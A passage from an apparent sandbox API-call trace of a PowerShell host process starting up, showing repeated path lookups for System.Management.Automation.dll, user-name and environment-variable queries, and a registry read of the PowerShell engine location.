nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0058.612] GetLastError () returned 0xcb [0058.612] SetErrorMode (uMode=0x1) returned 0x1 [0058.612] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x25e0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0058.612] GetLastError () returned 0xcb [0058.612] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x25e05c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0058.612] GetLastError () returned 0xcb [0058.616] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x25e17c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0058.617] GetLastError () returned 0xcb [0058.617] SetErrorMode (uMode=0x1) returned 0x1 [0058.617] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x2e320dc | out: lpFileInformation=0x2e320dc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6bf9fee0, ftLastAccessTime.dwHighDateTime=0x1d6bde3, ftLastWriteTime.dwLowDateTime=0x6bf9fee0, ftLastWriteTime.dwHighDateTime=0x1d6bde3, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0058.617] GetLastError () returned 0xcb [0058.617] SetErrorMode (uMode=0x1) returned 0x1 [0058.618] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e1c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.618] GetLastError () returned 0xcb [0058.618] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e174, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.619] GetLastError () returned 0xcb [0058.619] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e174, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.619] GetLastError () returned 0xcb [0058.619] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e174, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.619] GetLastError () returned 0xcb [0058.692] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x3c9028, nSize=0x25e718 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x25e718) returned 0x1 [0058.693] GetLastError () returned 0xcb [0058.693] GetUserNameW (in: lpBuffer=0x391da8, pcbBuffer=0x25e720 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x25e720) returned 1 [0058.694] ReportEventW (hEventLog=0x4f20004, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2e52b08*="Available", lpRawData=0x2e529c4) returned 1 [0058.695] GetLastError () returned 0x0 [0058.695] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.696] GetLastError () returned 0xcb [0058.697] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0058.697] GetLastError () returned 0xcb [0058.704] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e1f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.704] GetLastError () returned 0xcb [0058.704] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e1a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.704] GetLastError () returned 0xcb [0058.704] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e1a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.704] GetLastError () returned 0xcb [0058.708] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.708] GetLastError () returned 0xcb [0058.708] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e14c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.708] GetLastError () returned 0xcb [0058.708] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e14c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.708] GetLastError () returned 0xcb [0058.709] GetEnvironmentVariableW (in: lpName="HomeDrive", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0058.709] GetLastError () returned 0xcb [0058.709] GetEnvironmentVariableW (in: lpName="HomePath", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1b [0058.709] GetLastError () returned 0xcb [0058.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.709] GetLastError () returned 0xcb [0058.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e14c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.709] GetLastError () returned 0xcb [0058.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e14c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.709] GetLastError () returned 0xcb [0058.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.709] GetLastError () returned 0xcb [0058.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e14c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.709] GetLastError () returned 0xcb [0058.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e14c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.709] GetLastError () returned 0xcb [0058.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.710] GetLastError () returned 0xcb [0058.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e14c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.710] GetLastError () returned 0xcb [0058.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e14c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.710] GetLastError () returned 0xcb [0058.710] GetCurrentProcessId () returned 0x64 [0058.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.710] GetLastError () returned 0xcb [0058.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e14c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.710] GetLastError () returned 0xcb [0058.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e14c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.710] GetLastError () returned 0xcb [0058.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e188, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.710] GetLastError () returned 0xcb [0058.710] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e138, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.711] GetLastError () returned 0xcb [0058.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e138, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.711] GetLastError () returned 0xcb [0058.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e188, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.711] GetLastError () returned 0xcb [0058.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e138, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.711] GetLastError () returned 0xcb [0058.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e138, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.711] GetLastError () returned 0xcb [0058.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.711] GetLastError () returned 0xcb [0058.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e14c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.711] GetLastError () returned 0xcb [0058.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e14c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.711] GetLastError () returned 0xcb [0058.712] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e6ac | out: phkResult=0x25e6ac*=0x35c) returned 0x0 [0058.712] RegQueryValueExW (in: hKey=0x35c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e6f4, lpData=0x0, lpcbData=0x25e6f0*=0x0 | out: lpType=0x25e6f4*=0x1, lpData=0x0, lpcbData=0x25e6f0*=0x56) returned 0x0 [0058.712] RegQueryValueExW (in: hKey=0x35c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e6f4, lpData=0x391da8, lpcbData=0x25e6f0*=0x56 | out: lpType=0x25e6f4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x25e6f0*=0x56) returned 0x0 [0058.712] RegCloseKey (hKey=0x35c) returned 0x0 [0058.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.713] GetLastError () returned 0xcb [0058.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e14c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.713] GetLastError () returned 0xcb [0058.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e14c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.713] GetLastError () returned 0xcb [0058.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e184, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.713] GetLastError () returned 0xcb [0058.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e134, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.713] GetLastError () returned 0xcb [0058.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25e134, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.713] GetLastError () returned 0xcb [0058.725] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d814, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.725] GetLastError () returned 0xcb [0058.725] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.725] GetLastError () returned 0xcb [0058.725] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.725] GetLastError () returned 0xcb [0058.725] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d814, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.725] GetLastError () returned 0xcb [0058.725] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.726] GetLastError () returned 0xcb [0058.726] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.726] GetLastError () returned 0xcb [0058.726] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d814, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.726] GetLastError () returned 0xcb [0058.726] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.726] GetLastError () returned 0xcb [0058.726] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.726] GetLastError () returned 0xcb [0058.726] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d814, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.726] GetLastError () returned 0xcb [0058.726] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.726] GetLastError () returned 0xcb [0058.726] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.726] GetLastError () returned 0xcb [0058.726] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d814, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.726] GetLastError () returned 0xcb [0058.726] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.726] GetLastError () returned 0xcb [0058.726] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d7c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.726] GetLastError () returned 0xcb [0058.726] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d814, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.726] GetLastError () returned 0xcb [0058.727] GetFullPathNameW (in: 